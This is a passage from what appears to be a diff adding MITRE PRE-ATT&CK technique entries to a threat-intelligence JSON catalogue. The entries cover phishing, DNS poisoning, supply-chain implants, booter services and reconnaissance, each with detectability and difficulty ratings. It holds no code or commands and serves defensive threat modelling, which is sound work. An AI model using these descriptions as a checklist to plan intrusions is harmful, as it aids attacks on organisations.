access techniques.", + "value": "Identify technology usage patterns - PRE-T1041", + "meta": { + "refs": [ + "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1041" + ], + "external_id": "PRE-T1041", + "kill_chain": [ + "mitre-pre-attack:enterprise-attack:technical-information-gathering" + ] + }, + "uuid": "194bff4f-c218-40df-bea3-1ace715de8dd" + }, + { + "description": "Business relationship information includes the associates of a target and may be discovered via social media sites such as [https://www.linkedin.com LinkedIn] or public press releases announcing new partnerships between organizations or people (such as key hire announcements in industry articles). This information may be used by an adversary to shape social engineering attempts (exploiting who a target expects to hear from) or to plan for technical actions such as exploiting network trust relationship. (Citation: RSA-APTRecon) (Citation: Scasny2015)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Searching publicly available sources that cannot be monitored by a defender. Much of this information is widely known and difficult to obscure.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Made easier by today's current social media.", + "value": "Identify business relationships - PRE-T1049", + "meta": { + "refs": [ + "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1049" + ], + "external_id": "PRE-T1049", + "kill_chain": [ + "mitre-pre-attack:enterprise-attack:people-information-gathering" + ] + }, + "uuid": "5b6ce031-bb86-407a-9984-2b9700ac4549" + }, + { + "description": "This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.\n\nMany mobile devices are configured to only allow applications to be installed from the mainstream vendor app stores (e.g., Apple App Store and Google Play Store). These app stores scan submitted applications for malicious behavior. However, applications can evade these scans by downloading and executing new code at runtime that was not included in the original application package. (Citation: Fruit vs Zombies) (Citation: Android Hax) (Citation: Execute This!) (Citation: HT Fake News App) (Citation: Anywhere Computing kill 2FA) (Citation: Android Security Review 2015)\n\nDetectable by Common Defenses: Partial\n\nDetectable by Common Defenses explanation: Third-party mobile application security analysis services exist that scan for use of these techniques in iOS and Android applications. Additionally, Google specifically calls out the ability to \"identify attacks that require connection to a server and dynamic downloading of code\" in its Android Security 2015 Year in Review report. However, many applications use these techniques as part of their legitimate operation, increasing the difficulty of detecting or preventing malicious use.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Runtime code execution techniques and examples of their use are widely documented on both Apple iOS and Android.", + "value": "Runtime code download and execution - PRE-T1172", + "meta": { + "refs": [ + "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1172" + ], + "external_id": "PRE-T1172", + "kill_chain": [ + "mitre-pre-attack:enterprise-attack:launch" + ] + }, + "uuid": "41086474-e6de-4fac-bb69-640db7fdf3d2" + }, + { + "description": "Analysts assess current information available against requirements that outline needs and wants as part of the research baselining process to begin satisfying a requirement. (Citation: CyberAdvertisingChar) (Citation: CIATradecraft) (Citation: ForensicAdversaryModeling) (Citation: CyberAdversaryBehavior)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Normally, defender is unable to detect. Few agencies and commercial organizations may have unique insights.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Normal aspect of adversary planning lifecycle. May not be done by all adversaries.", + "value": "Assess current holdings, needs, and wants - PRE-T1013", + "meta": { + "refs": [ + "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1013" + ], + "external_id": "PRE-T1013", + "kill_chain": [ + "mitre-pre-attack:enterprise-attack:priority-definition-planning" + ] + }, + "uuid": "8e927b19-04a6-4aaa-a42f-4f0a53411d27" + }, + { + "description": "Templates and branding materials may be used by an adversary to add authenticity to social engineering message. (Citation: Scasny2015)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Adversary may download templates or branding from publicly available presentations that the defender can't monitor.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Some branding information is publicly available when a corporation publishes their briefings to the internet which provides insight into branding information and template materials. An exhaustive list of templating and branding is likely not available on the internet.", + "value": "Obtain templates/branding materials - PRE-T1058", + "meta": { + "refs": [ + "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1058" + ], + "external_id": "PRE-T1058", + "kill_chain": [ + "mitre-pre-attack:enterprise-attack:organizational-information-gathering" + ] + }, + "uuid": "68b45999-bb0c-4829-bbd0-75d6dac57c94" + }, + { + "description": "Dynamic DNS is a method of automatically updating a name in the DNS system. Providers offer this rapid reconfiguration of IPs to hostnames as a service. (Citation: DellMirage2012)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Defender will not know at first use what is valid or hostile traffic without more context. It is possible, however, for defenders to see if the PTR record for an address is hosted by a known DDNS provider. There is potential to assign some level of risk based on this.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Flexible and re-configurable command and control servers, along with deniable ownership and reduced cost of ownership.", + "value": "Dynamic DNS - PRE-T1088", + "meta": { + "refs": [ + "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1088" + ], + "external_id": "PRE-T1088", + "kill_chain": [ + "mitre-pre-attack:enterprise-attack:adversary-opsec" + ] + }, + "uuid": "20a66013-8dab-4ca3-a67d-766c842c561c" + }, + { + "description": "This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.\n\nEmails with malicious links are designed to get a user to click on the link in order to deliver malware payloads. (Citation: GoogleDrive Phishing) (Citation: RSASEThreat)\n\nDetectable by Common Defenses: Yes\n\nDetectable by Common Defenses explanation: Defenders can implement mechanisms to analyze links and identify levels of concerns. However, the adversary has the advantage of creating new links or finding ways to obfuscate the link so that common detection lists can not identify it. Detection of a malicious link could be identified once the file has been downloaded.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Sending emails is trivial and expected. The adversary needs to ensure links don't get tampered, removed, or flagged as a previously black-listed site.", + "value": "Spear phishing messages with malicious links - PRE-T1146", + "meta": { + "refs": [ + "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1146" + ], + "external_id": "PRE-T1146", + "kill_chain": [ + "mitre-pre-attack:enterprise-attack:launch" + ] + }, + "uuid": "489a7797-01c3-4706-8cd1-ec56a9db3adc" + }, + { + "description": "During production and distribution, the placement of software, firmware, or a CPU chip in a computer, handheld, or other electronic device that enables an adversary to gain illegal entrance. (Citation: McDRecall) (Citation: SeagateMaxtor)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: The number of elements and components in a supply chain of HW or SW is vast and detecting an implant is complex for SW, but more complex for HW.\n\nDifficulty for the Adversary: No\n\nDifficulty for the Adversary explanation: Access to the supply chain by an adversary can be a challenging endeavor, depending on what element is attempting to be subverted.", + "value": "Hardware or software supply chain implant - PRE-T1142", + "meta": { + "refs": [ + "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1142" + ], + "external_id": "PRE-T1142", + "kill_chain": [ + "mitre-pre-attack:enterprise-attack:stage-capabilities" + ] + }, + "uuid": "388f3a5c-2cdd-466c-9159-b507fa429fcd" + }, + { + "description": "The secondary level tactical element the adversary seeks to attack is the specific network or area of a network that is vulnerable to attack. Within the corporate network example, the secondary level tactical element might be a SQL server or a domain controller with a known vulnerability. (Citation: CyberAdversaryBehavior) (Citation: JP3-60) (Citation: JP3-12 (R)) (Citation: DoD Cyber 2015)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Normally, defender is unable to detect. May change for special use cases or adversary and defender overlays.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: This is the normal adversary targeting cycle where they utilize our poor OPSEC practices to their advantage.", + "value": "Determine secondary level tactical element - PRE-T1021", + "meta": { + "refs": [ + "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1021" + ], + "external_id": "PRE-T1021", + "kill_chain": [ + "mitre-pre-attack:enterprise-attack:target-selection" + ] + }, + "uuid": "b9148981-152a-4a19-95c1-962803f5c9af" + }, + { + "description": "An adversary may stage software and tools for use during later stages of an attack. The software and tools may be placed on systems legitimately in use by the adversary or may be placed on previously compromised infrastructure. (Citation: APT1) (Citation: RedOctober)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Infrastructure is (typically) outside of control/visibility of defender and as such as tools are staged for specific campaigns, it will not be observable to those being attacked.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Adversary has control of the infrastructure and will likely be able to add/remove tools to infrastructure, whether acquired via hacking or standard computer acquisition (e.g., [https://aws.amazon.com AWS], VPS providers).", + "value": "Upload, install, and configure software/tools - PRE-T1139", + "meta": { + "refs": [ + "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1139" + ], + "external_id": "PRE-T1139", + "kill_chain": [ + "mitre-pre-attack:enterprise-attack:stage-capabilities" + ] + }, + "uuid": "e8471f43-2742-4fd7-9af7-8ed1330ada37" + }, + { + "description": "Leadership organizes Key Intelligence Topics (KITs) and Key Intelligence Questions (KIQs) into three types of categories and creates more if necessary. An example of a description of key players KIT would be when an adversary assesses the cyber defensive capabilities of a nation-state threat actor. (Citation: Herring1999)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Normally, defender is unable to detect. Few agencies and commercial organizations may have unique insights.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Normal aspect of adversary planning lifecycle. May not be done by all adversaries.", + "value": "Assign KITs/KIQs into categories - PRE-T1005", + "meta": { + "refs": [ + "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1005" + ], + "external_id": "PRE-T1005", + "kill_chain": [ + "mitre-pre-attack:enterprise-attack:priority-definition-planning" + ] + }, + "uuid": "a86a21a4-6304-4df3-aa6d-08114c47d48f" + }, + { + "description": "An adversary can probe a victim's network to determine configurations. The configurations may provide opportunities to route traffic through the network in an undetected or less detectable way. (Citation: Li2014ExploitKits) (Citation: RecurlyGHOST)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: This can be done offline after the data has been collected.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Analyze technical scanning results to identify weaknesses in the configuration or architecture. Many of the common tools highlight these weakness automatically (e.g., software security scanning tools or published vulnerabilities about commonly used libraries).", + "value": "Analyze application security posture - PRE-T1070", + "meta": { + "refs": [ + "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1070" + ], + "external_id": "PRE-T1070", + "kill_chain": [ + "mitre-pre-attack:enterprise-attack:technical-weakness-identification" + ] + }, + "uuid": "fe421ab9-c8f3-42f7-9ae1-5d6c324cc925" + }, + { + "description": "This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.\n\nSending messages through social media platforms to individuals identified as a target. These messages may include malicious attachments or links to malicious sites or they may be designed to establish communications for future actions. (Citation: APT1) (Citation: Nemucod Facebook)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Extremely hard to identify (in the launch phase) what message via social media is hostile versus what is not. Increased use of encrypted communications increases the difficulty average defender's have in detecting use of this technique.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Sending messages to individuals identified as a target follows normal tradecraft for using social media.", + "value": "Targeted social media phishing - PRE-T1143", + "meta": { + "refs": [ + "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1143" + ], + "external_id": "PRE-T1143", + "kill_chain": [ + "mitre-pre-attack:enterprise-attack:launch" + ] + }, + "uuid": "eb517589-eefc-480e-b8e3-7a8b1066f6f1" + }, + { + "description": "The adversary can obtain an Apple iOS enterprise distribution key pair and certificate and use it to distribute malicious apps directly to Apple iOS devices without the need to publish the apps to the Apple App Store (where the apps could potentially be detected). (Citation: Apple Developer Enterprise Porgram Apps) (Citation: Fruit vs Zombies) (Citation: WIRELURKER) (Citation: Sideloading Change)\n\nDetectable by Common Defenses: Partial\n\nDetectable by Common Defenses explanation: Starting in iOS 9, Apple has changed the user interface when installing apps to better indicate to users the potential implications of installing apps signed by an enterprise distribution key rather than from Apple's App Store and to make it more difficult for users to inadvertently install these apps. Additionally, enterprise management controls are available that can be imposed to prevent installing these apps. Also, enterprise mobility management / mobile device management (EMM/MDM) systems can be used to scan for the presence of undesired apps on enterprise mobile devices.\n\nDifficulty for the Adversary: No\n\nDifficulty for the Adversary explanation: Apple requires a DUNS number, corporate documentation, and $299 to obtain an enterprise distribution certificate. Additionally, Apple revokes certificates if they discover malicious use. However, the enrollment information could be falsified to Apple by an adversary, or an adversary could steal an existing enterprise distribution certificate (and the corresponding private key) from a business that already possesses one.", + "value": "Obtain Apple iOS enterprise distribution key pair and certificate - PRE-T1169", + "meta": { + "refs": [ + "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1169" + ], + "external_id": "PRE-T1169", + "kill_chain": [ + "mitre-pre-attack:enterprise-attack:persona-development" + ] + }, + "uuid": "d58f3996-e293-4f69-a2c8-0e1851cb8297" + }, + { + "description": "Infrastructure services includes the hardware, software, and network resources required to operate a communications environment. This infrastructure can be managed by a 3rd party rather than being managed by the owning organization. (Citation: FFIECAwareness) (Citation: Zetter2015Threats)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: The data is passive in nature or not controlled by the defender, so it is hard to identify when an adversary is getting or analyzing the data.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Based on what the 3rd party infrastructure is, there are many tell tail signs which indicate it is hosted by a 3rd party, such as ASN data, MX or CNAME pointers or IP addresses", + "value": "Determine 3rd party infrastructure services - PRE-T1037", + "meta": { + "refs": [ + "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1037" + ], + "external_id": "PRE-T1037", + "kill_chain": [ + "mitre-pre-attack:enterprise-attack:technical-information-gathering" + ] + }, + "uuid": "856a9371-4f0f-4ea9-946e-f3144204240f" + }, + { + "description": "As with legitimate development efforts, different skill sets may be required for different phases of an attack. The skills needed may be located in house, can be developed, or may need to be contracted out. (Citation: APT1)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Recruitment is, by its nature, either clandestine or off the record.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Like target organizations, adversary organizations are competing to identify and hire top technical talent. Training less technical staff is also a viable option.", + "value": "Identify resources required to build capabilities - PRE-T1125", + "meta": { + "refs": [ + "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1125" + ], + "external_id": "PRE-T1125", + "kill_chain": [ + "mitre-pre-attack:enterprise-attack:build-capabilities" + ] + }, + "uuid": "c9fb4451-729d-4771-b205-52c1829f949c" + }, + { + "description": "A form of social engineering designed build trust and to lay the foundation for future interactions or attacks. (Citation: BlackHatRobinSage)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Users have the ability to detect and report non-authenticated individuals requesting to follow, friend or connect to a target. However the rigidity in validating the users is not typically followed by standard users.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Connecting with \"friends\" is a fundamental requirement for social media - without it, social media is worthless. An adversary can easily create a profile and request targets to validate the requests.", + "value": "Friend/Follow/Connect to targets of interest - PRE-T1141", + "meta": { + "refs": [ + "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1141" + ], + "external_id": "PRE-T1141", + "kill_chain": [ + "mitre-pre-attack:enterprise-attack:stage-capabilities" + ] + }, + "uuid": "eacd1efe-ee30-4b03-b58f-5b3b1adfe45d" + }, + { + "description": "Use of removable media as part of the Launch phase requires an adversary to determine type, format, and content of the media and associated malware. (Citation: BadUSB)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Adversary will likely use code repositories, but development will be performed on their local systems.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Several exploit repositories and tool suites exist for re-use and tailoring.", + "value": "Create infected removable media - PRE-T1132", + "meta": { + "refs": [ + "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1132" + ], + "external_id": "PRE-T1132", + "kill_chain": [ + "mitre-pre-attack:enterprise-attack:build-capabilities" + ] + }, + "uuid": "eacadff4-164b-451c-bacc-7b29ebfd0c3f" + }, + { + "description": "This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.\n\nDNS (cache) poisoning is the corruption of an Internet server's domain name system table by replacing an Internet address with that of another, rogue address. When a Web user seeks the page with that address, the request is redirected by the rogue entry in the table to a different address. (Citation: Google DNS Poisoning) (Citation: DNS Poisoning China) (Citation: Mexico Modem DNS Poison)\n\nDetectable by Common Defenses: Partial\n\nDetectable by Common Defenses explanation: Tracking multiple DNS infrastructures will likely require multiple tools/services, more advanced analytics, and mature detection/response capabilities in order to be effective. Few defenders demonstrate the mature processes to immediately detect and mitigate against the use of this technique.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Adversary poisons DNS entry to redirect traffic designated for one site to route to an adversary controlled resource.", + "value": "DNS poisoning - PRE-T1159", + "meta": { + "refs": [ + "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1159" + ], + "external_id": "PRE-T1159", + "kill_chain": [ + "mitre-pre-attack:enterprise-attack:launch" + ] + }, + "uuid": "76c9e8cb-52e1-4ddc-80d4-5f7231842e06" + }, + { + "description": "An adversary can attempt to identify web defensive services as [https://www.cloudflare.com/ CloudFlare], [https://github.com/jjxtra/Windows-IP-Ban-Service IPBan], and [https://www.snort.org/ Snort]. This may be done by passively detecting services, like [https://www.cloudflare.com/ CloudFlare] routing, or actively, such as by purposefully tripping security defenses. (Citation: NMAP WAF NSE)\n\nDetectable by Common Defenses: Yes\n\nDetectable by Common Defenses explanation: Active service detection may trigger an alert. Passive service enumeration is not detected.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Adversary can passively detect services (e.g., [https://www.cloudflare.com/ CloudFlare] routing) or actively detect services (e.g., by purposefully tripping security defenses)", + "value": "Identify web defensive services - PRE-T1033", + "meta": { + "refs": [ + "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1033" + ], + "external_id": "PRE-T1033", + "kill_chain": [ + "mitre-pre-attack:enterprise-attack:technical-information-gathering" + ] + }, + "uuid": "288b3cc3-f4da-4250-ab8c-d8b5dbed94ca" + }, + { + "description": "An adversary may analyze technical scanning results to identify weaknesses in the configuration or architecture of a victim network. These weaknesses could include architectural flaws, misconfigurations, or improper security controls. (Citation: FireEyeAPT28)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: This can be done offline after the data has been collected.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Many of the common tools highlight these weakness automatically.", + "value": "Analyze architecture and configuration posture - PRE-T1065", + "meta": { + "refs": [ + "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1065" + ], + "external_id": "PRE-T1065", + "kill_chain": [ + "mitre-pre-attack:enterprise-attack:technical-weakness-identification" + ] + }, + "uuid": "87775365-2081-4b6e-99bd-48a3b8f36563" + }, + { + "description": "A wide variety of cloud, virtual private services, hosting, compute, and storage solutions are available. Additionally botnets are available for rent or purchase. Use of these solutions allow an adversary to stage, launch, and execute an attack from infrastructure that does not physically tie back to them and can be rapidly provisioned, modified, and shut down. (Citation: LUCKYCAT2012)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: 3rd party services highly leveraged by legitimate services, hard to distinguish from background noise. While an adversary can use their own infrastructure, most know this is a sure- re way to get caught. To add degrees of separation, they can buy or rent from another adversary or accomplice.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Wide range of 3rd party services for hosting, rotating, or moving C2, static data, exploits, exfiltration, etc.", + "value": "Acquire and/or use 3rd party infrastructure services - PRE-T1084", + "meta": { + "refs": [ + "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1084" + ], + "external_id": "PRE-T1084", + "kill_chain": [ + "mitre-pre-attack:enterprise-attack:adversary-opsec" + ] + }, + "uuid": "286cc500-4291-45c2-99a1-e760db176402" + }, + { + "description": "The approach or attack vector outlines the specifics behind how the adversary would like to attack the target. As additional information is known through the other phases of PRE-ATT&CK, an adversary may update the approach or attack vector. (Citation: CyberAdversaryBehavior) (Citation: WITCHCOVEN2015) (Citation: JP3-60) (Citation: JP3-12 (R)) (Citation: DoD Cyber 2015)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Normally, defender is unable to detect. May change for special use cases or adversary and defender overlays.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: This is the normal adversary targeting cycle where they utilize our poor OPSEC practices to their advantage.", + "value": "Determine approach/attack vector - PRE-T1022", + "meta": { + "refs": [ + "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1022" + ], + "external_id": "PRE-T1022", + "kill_chain": [ + "mitre-pre-attack:enterprise-attack:target-selection" + ] + }, + "uuid": "d45fe3c2-0688-43b9-ac07-7eb86f575e93" + }, + { + "description": "If an adversary can identify which security tools a victim is using they may be able to identify ways around those tools. (Citation: CrowdStrike Putter Panda)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Public source external to the defender's organization.\n\nDifficulty for the Adversary: No\n\nDifficulty for the Adversary explanation: Requires in-depth research and potentially other intrusions, requires unbounded amount of work to possibly find a return on investment", + "value": "Research visibility gap of security vendors - PRE-T1067", + "meta": { + "refs": [ + "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1067" + ], + "external_id": "PRE-T1067", + "kill_chain": [ + "mitre-pre-attack:enterprise-attack:technical-weakness-identification" + ] + }, + "uuid": "b26babc7-9127-4bd5-9750-5e49748c9be3" + }, + { + "description": "Business processes, such as who typically communicates with who, or what the supply chain is for a particular part, provide opportunities for social engineering or other (Citation: Warwick2015)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Social engineering and other attempts to learn about business practices and processes would not immediately be associated with an impending cyber event.\n\nDifficulty for the Adversary: No\n\nDifficulty for the Adversary explanation: To get any kind of fidelity into business processes would require insider access. Basic processes could be mapped, but understanding where in the organization these processes take place and who to target during any given phase of the process would generally be difficult.", + "value": "Analyze business processes - PRE-T1078", + "meta": { + "refs": [ + "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1078" + ], + "external_id": "PRE-T1078", + "kill_chain": [ + "mitre-pre-attack:enterprise-attack:organizational-weakness-identification" + ] + }, + "uuid": "57619ab3-f6a5-43c8-8dd1-b0b8a986a870" + }, + { + "description": "Physical access may be required for certain types of adversarial actions. (Citation: CyberPhysicalAssessment) (Citation: CriticalInfrastructureAssessment)\n\nDetectable by Common Defenses: Yes\n\nDetectable by Common Defenses explanation: Physical security is often unaware of implications of physical access to network. However, some organizations have thorough physical security measures that would log and report attempted incursions, perimeter breaches, unusual RF at a site, etc.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Social engineering and OSINT are still generally successful. Physical locations of offices/sites are easily determined. Monitoring for other sites of interest, such as backup storage vendors, is also easy to accomplish.", + "value": "Assess security posture of physical locations - PRE-T1079", + "meta": { + "refs": [ + "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1079" + ], + "external_id": "PRE-T1079", + "kill_chain": [ + "mitre-pre-attack:enterprise-attack:organizational-weakness-identification" + ] + }, + "uuid": "31a57c70-6709-4d06-a473-c3df1f74c1d4" + }, + { + "description": "Configure and setup booter/stressor services, often intended for server stress testing, to enable denial of service attacks. (Citation: Krebs-Anna) (Citation: Krebs-Booter) (Citation: Krebs-Bazaar)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Purchase of booster services is not observable; potentially can trace booster service used to origin of sale, yet not before attack is executed. Furthermore, subscription does not automatically mean foul intention.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Easily accessible and used to launch DDoS attacks by even novice Internet users, and can be purchased from providers for a nominal fee, some of which even accept credit cards and PayPal payments to do.", + "value": "Obtain booter/stressor subscription - PRE-T1173", + "meta": { + "refs": [ + "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1173" + ], + "external_id": "PRE-T1173", + "kill_chain": [ + "mitre-pre-attack:enterprise-attack:establish-&-maintain-infrastructure" + ] + }, + "uuid": "3d1488a6-59e6-455a-8b80-78b53edc33fe" + }, + { + "description": "An adversary will assess collected information such as software/hardware versions, vulnerabilities, patch level, etc. They will analyze technical scanning results to identify weaknesses in the confirmation or architecture. (Citation: SurveyDetectionStrategies) (Citation: CyberReconPaper) (Citation: RSA-APTRecon) (Citation: FireEyeAPT28)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: This can be done offline after the data has been collected.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Many of the common tools highlight these weaknesses automatically. Adversary can \"dry run\" against the target using known exploits or burner devices to determine key identifiers of software, hardware, and services.", + "value": "Analyze data collected - PRE-T1064", + "meta": { + "refs": [ + "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1064" + ], + "external_id": "PRE-T1064", + "kill_chain": [ + "mitre-pre-attack:enterprise-attack:technical-weakness-identification" + ] + }, + "uuid": "773950e1-090c-488b-a480-9ff236312e31" + }, + { + "description": "Software applications will be built using different technologies, languages, and dependencies. This information may reveal vulnerabilities or opportunities to an adversary. (Citation: CommonApplicationAttacks) (Citation: WebApplicationSecurity) (Citation: SANSTop25)\n\nDetectable by Common Defenses: Yes\n\nDetectable by Common Defenses explanation: Impossible to differentiate between an adversary and a normal user when accessing a site to determine the languages/technologies used. If active scanning tools are employed, then the defender has the ability to detect. However, this is typically not acted upon due to the large volume of this type of traffic and it will likely not prompt the defender to take any actionable defense. Defender review of access logs may provide some insight based on trends or patterns.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Basic interaction with the site provides insight into the programming languages/technologies used for a given web site. Additionally many of the active scanning tools will also provide some insight into this information.", + "value": "Enumerate externally facing software applications technologies, languages, and dependencies - PRE-T1038", + "meta": { + "refs": [ + "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1038" + ], + "external_id": "PRE-T1038", + "kill_chain": [ + "mitre-pre-attack:enterprise-attack:technical-information-gathering" + ] + }, + "uuid": "ef6197fd-a58a-4006-bfd6-1d7765d8409d" + }, + { + "description": "Analysts may receive Key Intelligence Topics (KITs) and Key Intelligence Questions (KIQs) from leadership or key decision makers and generate intelligence requirements to articulate intricacies of information required on a topic or question. (Citation: Herring1999)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Normally, defender is unable to detect. Few agencies and commercial organizations may have unique insights.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Normal aspect of adversary planning lifecycle. May not be done by all adversaries.", + "value": "Generate analyst intelligence requirements - PRE-T1011", + "meta": { + "refs": [ + "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1011" + ], + "external_id": "PRE-T1011", + "kill_chain": [ + "mitre-pre-attack:enterprise-attack:priority-definition-planning" + ] + }, + "uuid": "e754fa49-2db1-416b-92db-7f886decd099" + }, + { + "description": "Redirecting a communication request from one address and port number combination to another. May be set up to obfuscate the final location of communications that will occur in later stages of an attack. (Citation: SecureWorks HTRAN Analysis)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Infrastructure is (typically) outside of control/visibility of defender and as such as tools are staged for specific campaigns, it will not be observable to those being attacked.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Adversary has control of the infrastructure and will likely be able to add/remove tools to infrastructure, whether acquired via hacking or standard computer acquisition (e.g., [https://aws.amazon.com AWS], VPS providers).", + "value": "Port redirector - PRE-T1140", + "meta": { + "refs": [ + "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1140" + ], + "external_id": "PRE-T1140", + "kill_chain": [ + "mitre-pre-attack:enterprise-attack:stage-capabilities" + ] + }, + "uuid": "13ff5307-b650-405a-9664-d8076930b2bf" + }, + { + "description": "Understanding an organizations business processes and tempo may allow an adversary to more effectively craft social engineering attempts or to better hide technical actions, such as those that generate network traffic. (Citation: Scasny2015) (Citation: Infosec-osint)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Current or previous employees may divulge information on the Internet. If insiders are used, the defender may have policies or tools in place to detect loss of this data or knowledge.\n\nDifficulty for the Adversary: No\n\nDifficulty for the Adversary explanation: In some cases, this requires some insider knowledge or specialized access to learn when critical operations occur in a corporation. For publicly traded US corporations, there is a lot of open source information about their financial reporting obligations (per SEC). Companies announce their annual shareholder meeting and their quarter phone calls with investors. Information such as this can help the adversary to glean certain aspects of the business processes and/or rhythm.", + "value": "Identify business processes/tempo - PRE-T1057", + "meta": { + "refs": [ + "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1057" + ], + "external_id": "PRE-T1057", + "kill_chain": [ + "mitre-pre-attack:enterprise-attack:organizational-information-gathering" + ] + }, + "uuid": "1f82ef59-b7da-4cd3-a41c-2e80f80f084f" + }, + { + "description": "Delivery systems are the infrastructure used by the adversary to host malware or other tools used during exploitation. Building and configuring delivery systems may include multiple activities such as registering domain names, renting hosting space, or configuring previously exploited environments. (Citation: APT1)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: It is detectable once deployed to the public Internet, used for adversarial purposes, discovered, and reported to defenders.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: It is easy to create and burn infrastructure. Otherwise, blacklisting would be more successful for defenders.", + "value": "Build and configure delivery systems - PRE-T1124", + "meta": { + "refs": [ + "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1124" + ], + "external_id": "PRE-T1124", + "kill_chain": [ + "mitre-pre-attack:enterprise-attack:build-capabilities" + ] + }, + "uuid": "15ef4da5-3b93-4bb1-a39a-5396661956d3" + }, + { + "description": "Personnel internally to a company may have non-electronic specialized access, authorities, or privilege that make them an attractive target for an adversary. One example of this is an individual with financial authority to authorize large transactions. An adversary who compromises this individual might be able to subvert large dollar transfers. (Citation: RSA-APTRecon)\n\nDetectable by Common Defenses: No\n\nDetectable by Common 